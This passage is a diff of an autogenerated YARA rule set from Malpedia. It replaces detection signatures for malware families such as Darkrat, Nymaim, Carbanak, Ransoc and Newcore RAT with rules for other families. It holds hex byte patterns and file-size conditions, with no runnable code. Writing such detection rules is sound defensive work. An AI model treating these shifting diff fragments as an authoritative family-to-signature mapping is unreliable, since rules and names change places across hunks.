+		$sequence_6 = { 55 8d4c245c e8???????? 8bd8 895c2414 83fbff 7541 }
+		$sequence_7 = { 837de800 7e50 8b03 8b4804 0fb7541930 8d0419 8b4828 }
+		$sequence_8 = { 8b9a80f34400 33f3 8b4538 33db 8b553c 33c6 33d6 }
+		$sequence_9 = { 33c0 eb05 1bc0 83d8ff 3bc3 7506 895c2418 }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <811008
 }
-rule MALPEDIA_Win_Darkrat_Auto : FILE
+rule MALPEDIA_Win_Asruex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "73555b6d-cd36-53aa-b241-54638d6391a7"
+		id = "899abd0f-c835-5f70-819c-92570cc9b462"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkrat_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.asruex_auto.yar#L1-L112"
 		license_url = "N/A"
-		logic_hash = "e98d828b961bffb4ad606aad50a055367532a60432b86ca76a8c360da1aac44b"
+		logic_hash = "a14db0e4e44f1156fe16afe843345aa29b9b1f1eb3cc060b10e0bcdf06eb97d4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172608,34 +179670,34 @@ rule MALPEDIA_Win_Darkrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 837de810 895510 8b4804 8d45d4 0f4345d4 2975b4 }
-		$sequence_1 = { 51 03f8 52 57 e8???????? 8b45c8 83c40c }
-		$sequence_2 = { 51 56 e8???????? 83c40c c6043e00 eb17 57 }
-		$sequence_3 = { 8b7dd4 0f8514ffffff 8b55ec 83fa10 }
-		$sequence_4 = { 8bd0 b805000000 2bd6 8a0e 8d7601 884c32ff 83e801 }
-		$sequence_5 = { e8???????? 83c408 c745e800000000 8d4dd8 }
-		$sequence_6 = { 0b510c 52 e8???????? c745fc04000000 e8???????? 84c0 7507 }
-		$sequence_7 = { 83c408 c745e800000000 8d4dd8 c745ec0f000000 c645d800 }
-		$sequence_8 = { ff75d0 51 8bcb e8???????? 8b75b8 c645fc01 }
-		$sequence_9 = { 895510 8b4804 8d45d4 0f4345d4 2975b4 03c6 ff75b4 }
+		$sequence_0 = { 85c0 740e 85ed 740a }
+		$sequence_1 = { 7408 3c0d 7404 3c0a 7516 }
+		$sequence_2 = { 83f801 740e 83f803 7409 83f802 }
+		$sequence_3 = { ff15???????? 85c0 7407 3d14270000 }
+		$sequence_4 = { 740c 3c09 7408 3c0d 7404 3c0a 7516 }
+		$sequence_5 = { 7404 3c58 7505 bb01000000 }
+		$sequence_6 = { 3c09 7408 3c0d 7404 3c0a 7516 }
+		$sequence_7 = { 3c78 7404 3c58 7505 bb01000000 }
+		$sequence_8 = { 3c0d 7404 3c0a 7516 }
+		$sequence_9 = { e8???????? 83f8ff 7407 3d0000a000 }
 
 	condition:
-		7 of them and filesize <884736
+		7 of them and filesize <1564672
 }
-rule MALPEDIA_Win_Nymaim_Auto : FILE
+rule MALPEDIA_Win_Makadocs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6fe09b40-4e7e-5960-9e2c-823057d831db"
+		id = "a9ee5e42-4244-5209-b209-43e241078b80"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nymaim_auto.yar#L1-L281"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makadocs_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "0c0c73586cb65f92c931bae46a77127eb659bbbab03ac07a837f2712a17a227b"
+		logic_hash = "9e569b2ca005ed56a66b13fc4754517215725a380988d948b175ea6348c2d54c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -172647,51 +179709,32 @@ rule MALPEDIA_Win_Nymaim_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89d8 01c8 31d2 f7f7 }
-		$sequence_1 = { 0f94c1 09c8 6bc064 09c0 }
-		$sequence_2 = { 31d2 f7f7 92 31d2 }
-		$sequence_3 = { 92 31d2 bf64000000 f7f7 }
-		$sequence_4 = { c1e105 01c8 c1c307 30c3 }
-		$sequence_5 = { 31c9 38f0 83d100 38d0 83d900 c1e105 }
-		$sequence_6 = { c1eb13 331d???????? 31c3 c1e808 }
-		$sequence_7 = { 00d3 8a16 301e 46 01fb }
-		$sequence_8 = { 8b12 8b4d0c 8b5d18 8b1b 4f 31c0 fec2 }
-		$sequence_9 = { 8b4e08 014e04 8b5e0c 015e08 }
-		$sequence_10 = { c1e808 31c3 895e0c 89d8 }
-		$sequence_11 = { f7e0 0fc8 01d0 894704 }
-		$sequence_12 = { 8b06 c1e00b 3306 8b5604 0116 8b4e08 014e04 }
-		$sequence_13 = { 53 56 57 83ec44 8b4508 8d0d2030d201 }
-		$sequence_14 = { 4409df 4531d0 813d????????7147ed3a 0f84c06efdff 4421da 4431c7 c1c703 }
-		$sequence_15 = { 0f84e0bffcff 443b642460 72b4 85ff 7439 837c246000 7628 }
-		$sequence_16 = { 4531c9 488d442440 813d????????00e8e23a 0f84c1f7feff 31d2 48b9????????00000000 488903 }
-		$sequence_17 = { 448915???????? 8b4548 89442448 488b8588000000 4889442440 488b8580000000 4889442438 }
-		$sequence_18 = { 56 83ec28 8b450c 8b4d08 8d154e30d201 }
-		$sequence_19 = { 55 89e5 83ec10 8b4508 8d0d3430d201 }
-		$sequence_20 = { 83ec44 8b4508 8d0d2030d201 31d2 890c24 c744240400000000 }
-		$sequence_21 = { 0f9e05???????? 4c89fa e8???????? 488d542440 488d8da0000000 890d???????? 8805???????? }
-		$sequence_22 = { 4439a19c000000 0f8456bffcff 4439a194000000 48c705????????b2228979 0f8545bffcff 8b7108 458d6c2401 }
-		$sequence_23 = { 31ed e8???????? 0fb7542430 488d4c2420 0fb7442432 4189d8 c1e209 }
-		$sequence_24 = { 5b 5d c3 8b45f0 8b0c850440d201 }
-		$sequence_25 = { 890424 894c2404 e8???????? 8d0d3430d201 }
-		$sequence_26 = { 31c9 8b55f4 8b75ec 89723c c7424003000000 }
-		$sequence_27 = { 4529d8 4489da 4801ca e8???????? 66813d????????a8c1 0f848bbe0000 44295b68 }
-		$sequence_28 = { 31d2 890c24 c744240400000000 8945f4 8955f0 e8???????? 8d0d8630d201 }
+		$sequence_0 = { 8b5d08 56 57 33f6 33ff 897dfc 3b1cfdf0524200 }
+		$sequence_1 = { 8bc6 89a554ffffff 8bfc e8???????? 83c010 8907 51 }
+		$sequence_2 = { 8b42f4 8d7001 8b42f8 b901000000 2b4afc 2bc6 0bc1 }
+		$sequence_3 = { 83c408 52 8b54243c 8d442438 50 8d4c2478 51 }
+		$sequence_4 = { 83c408 c644246834 8b00 8d4c2420 51 8bc8 e8???????? }
+		$sequence_5 = { 8b442410 56 e8???????? 85f6 7409 }
+		$sequence_6 = { c645fc41 8bc4 89a54cffffff 50 b9???????? e8???????? 8dbd54ffffff }
+		$sequence_7 = { ffd5 8b06 3b78f8 7f0f 8978f4 8b0e c6040f00 }
+		$sequence_8 = { 8b4c2410 51 ffd7 85c0 744c 8b44241c 50 }
+		$sequence_9 = { 3c09 0fb6c0 7605 83c037 eb03 83c030 8806 }
 
 	condition:
-		7 of them and filesize <2375680
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Carbanak_Auto : FILE
+rule MALPEDIA_Win_Lazarloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c07fe935-504c-5c98-a746-fcd9d2cd2656"
+		id = "eeec4f28-0f22-51be-ae2e-de44f3255986"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carbanak_auto.yar#L1-L108"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lazarloader_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "71119e0e8f2ea511e845d7f70364c6b521841c48aa27c3226400782c05c0bf22"
+		logic_hash = "2c7bcf20b8b4c12e652b091953d52f7cafa589f18b8b9e18e7eefdba4a60b648"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172705,34 +179748,34 @@ rule MALPEDIA_Win_Carbanak_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7f05 83c061 eb03 83c027 }
-		$sequence_1 = { 7907 32c0 e9???????? 7507 b001 }
-		$sequence_2 = { 32c0 e9???????? 7507 b001 }
-		$sequence_3 = { 2bd1 81e921100000 8bc1 c1f80e 0cc0 }
-		$sequence_4 = { 8b4608 eb02 8bc3 85c0 }
-		$sequence_5 = { c3 8d4120 3c1f 7705 0fb6c1 }
-		$sequence_6 = { 7c0d e8???????? 84c0 7504 }
-		$sequence_7 = { 7c0d e8???????? 84c0 7504 33c0 }
-		$sequence_8 = { e9???????? 3d2c5c0700 750a e8???????? }
-		$sequence_9 = { 3d2c5c0700 750a e8???????? e9???????? }
+		$sequence_0 = { 483b0d???????? 7417 488d059c4f0100 483bc8 }
+		$sequence_1 = { 7528 48833d????????00 741e 488d0d30a80100 e8???????? 85c0 740e }
+		$sequence_2 = { 8bc2 488d154241ffff c1e803 89442438 448be0 89442440 85c0 }
+		$sequence_3 = { 488d0563810000 488bd9 483bc8 7417 8b815c010000 }
+		$sequence_4 = { 4889542410 48894c2408 57 4881ece0080000 33c0 66898424a0000000 488d8424a2000000 }
+		$sequence_5 = { 4c8bea 4b8b8cf770c10100 4c8b15???????? 4883cfff 418bc2 498bd2 4833d1 }
+		$sequence_6 = { 8bcf e8???????? 488bd7 4c8d05fecd0000 83e23f 488bcf 48c1f906 }
+		$sequence_7 = { 48897018 48897820 4156 33ed 4c8d35e6900000 448bd5 488bf1 }
+		$sequence_8 = { e8???????? 488bd7 4c8d05fecd0000 83e23f }
+		$sequence_9 = { 488bda 4c8d0d6bad0000 8bf9 488d15a2930000 b906000000 }
 
 	condition:
-		7 of them and filesize <658432
+		7 of them and filesize <364544
 }
-rule MALPEDIA_Win_Daserf_Auto : FILE
+rule MALPEDIA_Win_Beepservice_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fffb2935-58a7-5828-bf22-dd469fea2b59"
+		id = "1d7d7c47-2c0e-5f10-8d42-753504cd309b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.daserf_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.beepservice_auto.yar#L1-L282"
 		license_url = "N/A"
-		logic_hash = "194f8b1f42d6928a216ace153b63a40c6d813ea5df60a79ed82a9b2168ff69ee"
+		logic_hash = "1b28ba46a772486fbc8465a9c3e2af5f383317dc6efaca43bb04db774c11995d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -172744,38 +179787,51 @@ rule MALPEDIA_Win_Daserf_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945cc ff15???????? 8945d0 8d45b4 }
-		$sequence_1 = { b808380000 e8???????? 53 56 }
-		$sequence_2 = { 81eb7ee5b031 81c30d782341 81c3db5d1091 81eb73ad763b 054ce1128c 81c3cc3c3014 }
-		$sequence_3 = { 81c3ad482863 81eb8c570d21 2d21583cc4 2da932ed1b 81c3f8ff2857 81eb46159323 }
-		$sequence_4 = { 81eb4e0e3377 87c0 81ebfb04024c 87ff 2dfaa67876 }
-		$sequence_5 = { 81c394c7d041 81eb6afed62a 81c3bed1834b 81eb826387e9 81c3d7e98170 2d844df6b2 }
-		$sequence_6 = { 50 ffd6 ffb56814ffff 8d85bc4fffff 50 }
-		$sequence_7 = { 2d4936916d f7d1 f7d1 2d99d06187 f7d1 f7d1 }
-		$sequence_8 = { 8bc9 81c3c9920a05 95 89ac2400f2ffff }
-		$sequence_9 = { 7500 81c3e109e0f6 8bc0 0537d68276 9b 81c38da225f6 87c9 }
-		$sequence_10 = { eb0e ff75fc ffd7 3bf3 7403 56 }
-		$sequence_11 = { 81c327f27a10 7500 81ebc884a519 7500 81eb3a0de80d 87db 81c3b119330a }
-		$sequence_12 = { 2d4abc1884 90 2dea9bf526 7500 }
-		$sequence_13 = { 81ebf74ea63a f7d1 f7d1 81eb199760ae 9b }
-		$sequence_14 = { 2d966cdd4c 2d81c26ac5 81c32b73f252 81c32bef6e96 81c3b4dacce0 }
-		$sequence_15 = { 81eb075e2ddb 9b 81c35a11e727 97 89bc2440f5ffff }
+		$sequence_0 = { ffd6 8bc8 ff15???????? 50 }
+		$sequence_1 = { 8b0d???????? 68???????? ffd6 8bc8 }
+		$sequence_2 = { e8???????? 83f801 7505 e8???????? 68???????? 68???????? }
+		$sequence_3 = { 7512 6888130000 68???????? e8???????? 83c408 }
+		$sequence_4 = { 83c408 e9???????? 68???????? e8???????? 83c404 6a00 }
+		$sequence_5 = { 683f000f00 6a00 68???????? ff15???????? }
+		$sequence_6 = { ff7604 68???????? e8???????? ff7608 e8???????? 83c40c }
+		$sequence_7 = { 83ffff 750e ff15???????? 50 68???????? eb43 }
+		$sequence_8 = { 68???????? 57 ff15???????? 85c0 741c 3975fc }
+		$sequence_9 = { ff7604 e8???????? 83f814 59 }
+		$sequence_10 = { e8???????? 83f820 59 730f ff7618 68???????? e8???????? }
+		$sequence_11 = { e8???????? ff7610 e8???????? 50 ff7610 53 e8???????? }
+		$sequence_12 = { 83c410 8d4c2408 6a00 6a00 }
+		$sequence_13 = { bf???????? a3???????? 83c404 a3???????? a3???????? 66a3???????? f3ab }
+		$sequence_14 = { 85c0 742b 817c240400240000 7521 56 }
+		$sequence_15 = { ffd7 8d442414 50 56 }
+		$sequence_16 = { 8bca 83e103 f3a4 8b7314 83c9ff 8bfe }
+		$sequence_17 = { e8???????? 83c404 50 8b4d0c 8b5114 }
+		$sequence_18 = { e8???????? 83c408 33c0 e9???????? c785f8fdffff00240000 6a00 8d95f4fdffff }
+		$sequence_19 = { 8b0d???????? ff15???????? 8bc8 ff15???????? 8b15???????? 52 }
+		$sequence_20 = { 8b511c 52 e8???????? 83c404 83f820 }
+		$sequence_21 = { 6a01 6a00 6a00 6a05 e8???????? 83c414 }
+		$sequence_22 = { e8???????? 6a00 6a00 b907000000 6a00 }
+		$sequence_23 = { c3 68e8030000 6a02 6a00 6a00 6a02 }
+		$sequence_24 = { 6a04 e8???????? 83c414 85c0 7510 ff15???????? }
+		$sequence_25 = { 50 53 c744241428010000 e8???????? }
+		$sequence_26 = { bf???????? 83c9ff 33d2 b301 f2ae f7d1 49 }
+		$sequence_27 = { b90a000000 be???????? bf???????? 33c0 f3a5 bf???????? 83c9ff }
+		$sequence_28 = { 52 89442424 ff15???????? 8bf0 85f6 7505 }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Ransoc_Auto : FILE
+rule MALPEDIA_Win_Pipemon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "961c0c93-e6c6-5111-8367-8742ed436406"
+		id = "fb1257dc-1899-57a8-9bb3-37873100ec17"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ransoc_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pipemon_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "2d366ed2132c1270c1bab4c471d75e367a89089f653123f697fac204fd95b124"
+		logic_hash = "a7cf49399560b8b73200f34644a487f3922c8589009d7d641339ef3a3238ec7b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172789,32 +179845,32 @@ rule MALPEDIA_Win_Ransoc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b573c 50 57 ffd2 ff4e3c 8b462c 8b4e3c }
-		$sequence_1 = { 8bf0 8b5630 57 8d7e30 }
-		$sequence_2 = { 894240 8b5040 895140 3bd7 741e }
-		$sequence_3 = { 89703c 8b5134 895030 3bd7 7406 8b5134 }
-		$sequence_4 = { 85c0 75f2 8b7140 85f6 758b 68???????? }
-		$sequence_5 = { 740f 83f907 740a 83f906 }
-		$sequence_6 = { 89462c a820 7406 8b4604 014804 8b462c a900080000 }
-		$sequence_7 = { 895148 8b4830 85c9 7406 8b5034 895134 8b4834 }
-		$sequence_8 = { 83c408 c3 6a00 6a01 55 }
-		$sequence_9 = { 8b56e4 89542414 8d5c2410 891a 89442410 8b5004 8956e4 }
+		$sequence_0 = { 418bf8 4903fe 85db 0f84a1000000 6690 49634e3c }
+		$sequence_1 = { 7516 488d05bd360100 488b4c2430 483bc8 7405 e8???????? 488b05???????? }
+		$sequence_2 = { 85c0 7427 488b4c2438 488d1526d90000 ff15???????? }
+		$sequence_3 = { b906000000 48898620020000 0fb7c0 66f3ab 488d3d2c3b0100 }
+		$sequence_4 = { 488d4c2438 e8???????? 4c8d4820 4889442420 4c8bc3 488d5590 488d4c2438 }
+		$sequence_5 = { 4881c458010000 c3 83f801 7529 b803000000 488b8c2440010000 4833cc }
+		$sequence_6 = { 458d4d02 458bc7 488d542450 488bc8 }
+		$sequence_7 = { e8???????? 4881c498000000 c3 448b442430 488d1543fe0100 33c0 488d4c2440 }
+		$sequence_8 = { ffc8 3d03010000 7734 488d44244c 488bd7 }
+		$sequence_9 = { 80bd8008000000 0f84b6010000 4d85ed 0f84b6000000 }
 
 	condition:
-		7 of them and filesize <958464
+		7 of them and filesize <389120
 }
-rule MALPEDIA_Win_Ramdo_Auto : FILE
+rule MALPEDIA_Win_Oni_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5b8e6fef-0e3b-5ed2-888f-7434293b69d6"
+		id = "ffe7d6a1-e7f2-579d-b056-7e9412d8f38a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ramdo_auto.yar#L1-L104"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oni"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oni_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "915394834672872c9dd5e507ba31a9e70d058b5fc9e0d5522912234c2f6ee339"
+		logic_hash = "ef51460421d5bc54251bcf8ac5edcdde6a15b31e2116a2189b470d64d9b9ae34"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172828,32 +179884,32 @@ rule MALPEDIA_Win_Ramdo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6813299e13 6a00 6a00 e8???????? }
-		$sequence_1 = { ff55f8 8945fc 837dfcff 7411 }
-		$sequence_2 = { 688fe57c18 6a03 6a00 e8???????? }
-		$sequence_3 = { 681186933f 6a03 6a00 e8???????? }
-		$sequence_4 = { 68b20cdc96 6a03 6a00 e8???????? }
-		$sequence_5 = { 6a00 6a00 ff95dcfeffff 8945fc }
-		$sequence_6 = { e8???????? 3db7000000 7405 8b45fc }
-		$sequence_7 = { 681b313f7d 6a03 6a00 e8???????? }
-		$sequence_8 = { 68e9b528b6 6a03 6a00 e8???????? }
-		$sequence_9 = { 68c29e34ea 6a03 6a00 e8???????? }
+		$sequence_0 = { 50 8d4db0 c645b000 e8???????? 8b0d???????? b8abaaaa2a 8b3d???????? }
+		$sequence_1 = { 83f904 0f828d000000 83f923 0f8789000000 8bc8 }
+		$sequence_2 = { ff75ec 51 ff36 8b55e8 8bcb e8???????? 83c410 }
+		$sequence_3 = { 7f07 3bc7 0f4fd8 8bfb 6aff 8d4701 }
+		$sequence_4 = { 3a45ec 753e 8b45f0 8b048590884300 }
+		$sequence_5 = { 8d0dc0254300 ba1b000000 e9???????? a900000080 }
+		$sequence_6 = { 660fd685c8feffff 33ff 6800010000 899dc8feffff 89bdccfeffff 899dd0feffff ff15???????? }
+		$sequence_7 = { 8901 0fb602 5f 5e 5b 8b4c2430 33cc }
+		$sequence_8 = { 8b542428 8b442414 85f6 0f8422ffffff }
+		$sequence_9 = { f6c104 7519 f6c102 8d4df8 7540 eb6a }
 
 	condition:
-		7 of them and filesize <548864
+		7 of them and filesize <499712
 }
-rule MALPEDIA_Win_Newcore_Rat_Auto : FILE
+rule MALPEDIA_Win_Powerduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "665a19c1-0b9c-5837-8284-a9e9fed7fabd"
+		id = "6d856194-c9fe-5330-9bd8-d5a96e01d2f2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newcore_rat_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powerduke_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "bc0ab135cc137a5ffe441affd5712e460cc93f003c5dd205f806c56bc27b56a3"
+		logic_hash = "8396f645fb90ff46635658086ca415f6d857b1da2dac7ff489b34d4ef5885286"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172867,32 +179923,32 @@ rule MALPEDIA_Win_Newcore_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b08 8b11 50 8b4204 ffd0 8d4c2414 e8???????? }
-		$sequence_1 = { 898670300000 e8???????? 5f 5d b801000000 }
-		$sequence_2 = { 51 8d4c243c e8???????? 8d4c2414 e8???????? 8b542448 52 }
-		$sequence_3 = { 50 8d4c245e 51 6689442460 e8???????? 83c40c 6a30 }
-		$sequence_4 = { 6a00 6a00 8d542478 52 6a00 ff15???????? 85c0 }
-		$sequence_5 = { 8b442450 e9???????? 6830020000 8d442458 6a00 50 }
-		$sequence_6 = { 8b8610100000 85c0 740d 50 ffd7 c7861010000000000000 }
-		$sequence_7 = { 5b c21000 8d9344020000 68???????? 52 e8???????? 8bf0 }
-		$sequence_8 = { 83c40c 03f9 014c2414 eb04 8b5c240c 014c242c b81f85eb51 }
-		$sequence_9 = { 68???????? 8d9424ac060000 e8???????? 83c408 53 8d8c24a8060000 }
+		$sequence_0 = { c705????????00000000 6a04 6800300000 ff7518 }
+		$sequence_1 = { ff75e4 ff75bc ff15???????? 09c0 7473 }
+		$sequence_2 = { 6a00 ff15???????? 09c0 0f8412010000 8945e4 53 50 }
+		$sequence_3 = { b801000000 c9 c20c00 55 89e5 81ec080c0000 }
+		$sequence_4 = { 89f7 31c9 803c0f3a 7409 }
+		$sequence_5 = { 09c0 7505 b850000000 8945ec c6040e00 }
+		$sequence_6 = { c70000000000 837d2000 740f 8b4520 }
+		$sequence_7 = { c20400 55 89e5 56 57 8b750c }
+		$sequence_8 = { 0f8493000000 c745f901000000 89c3 be???????? }
+		$sequence_9 = { 6a00 57 ff15???????? 09c0 }
 
 	condition:
-		7 of them and filesize <581632
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Veiledsignal_Auto : FILE
+rule MALPEDIA_Win_Makloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "caf6fec1-c7fc-5e46-9ec5-501cbcaa1f6a"
+		id = "66719c32-80e8-5417-8026-25e6d48fb7fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.veiledsignal_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makloader_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "36bfcf538a747481c06e92b8c775b0fad665f748b3dccf3367e494f75f4840ed"
+		logic_hash = "5f1f26214c5086a379f59348aefd7c2032c0ef40c82a5b49aca00ae5277c9d78"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172906,32 +179962,32 @@ rule MALPEDIA_Win_Veiledsignal_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7516 488d05c7390400 4a8b04e8 42385cf839 0f84c2000000 488d05b1390400 }
-		$sequence_1 = { 488d0dbabb0400 48c7040102000000 b808000000 486bc000 488b0d???????? 48894c0420 b808000000 }
-		$sequence_2 = { 0f1f440000 488d54244c 488bce e8???????? 488bcb }
-		$sequence_3 = { 4881c458010000 c3 83f802 7571 488d0516010000 488905???????? 488d0529010000 }
-		$sequence_4 = { 7ec4 83c8ff eb0b 4803f6 418b84f7a8140100 85c0 }
-		$sequence_5 = { 81f95a290000 752b 488d0df8030000 b801000000 48890d???????? }
-		$sequence_6 = { 4c8d0d97960000 498bd1 448d4008 3b0a 742b ffc0 }
-		$sequence_7 = { e8???????? 488bd7 4c8d05e3270400 83e23f 488bcf 48c1f906 }
-		$sequence_8 = { 4883ec20 8b1d???????? eb1d 488d0573b10400 ffcb }
-		$sequence_9 = { ff15???????? 488b55cf 488bc8 ff15???????? 488b4dd7 }
+		$sequence_0 = { 8a11 88955ce6ffff 838530e6ffff01 80bd5ce6ffff00 }
+		$sequence_1 = { 8d45f0 64a300000000 f2c3 8b4de4 33cd f2e8a8e9feff }
+		$sequence_2 = { 8d8de4fcffff 898d30e5ffff 8d95d8e5ffff 899534e5ffff 8d8530e5ffff 50 }
+		$sequence_3 = { 8b45d4 50 e8???????? 83c408 8945d4 837dd000 }
+		$sequence_4 = { 8b9540e5ffff 8bca c1e902 f3a5 8bca }
+		$sequence_5 = { 68???????? e8???????? 83c404 83f0ff 50 0fb695e5e5ffff }
+		$sequence_6 = { 3bf3 72e9 5f 5e 5b c3 56 }
+		$sequence_7 = { 51 e8???????? 83c404 ba01000000 6bca05 8b5508 }
+		$sequence_8 = { 8d95e0f3ffff 52 8d8d70e6ffff e8???????? 8d8570ffffff }
+		$sequence_9 = { 89856ce6ffff 6a4b 6a00 8d55b0 52 e8???????? 83c40c }
 
 	condition:
-		7 of them and filesize <667648
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Turnedup_Auto : FILE
+rule MALPEDIA_Win_Dircrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "317b79ff-9d3d-5ba0-8921-2dd0758e0502"
+		id = "b395b5b7-d790-5f9f-ab3c-658138d51b34"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turnedup_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dircrypt_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "41dd089d435e4495b4c527e58471affc57ceb5820e7069ad3a735daa64e32911"
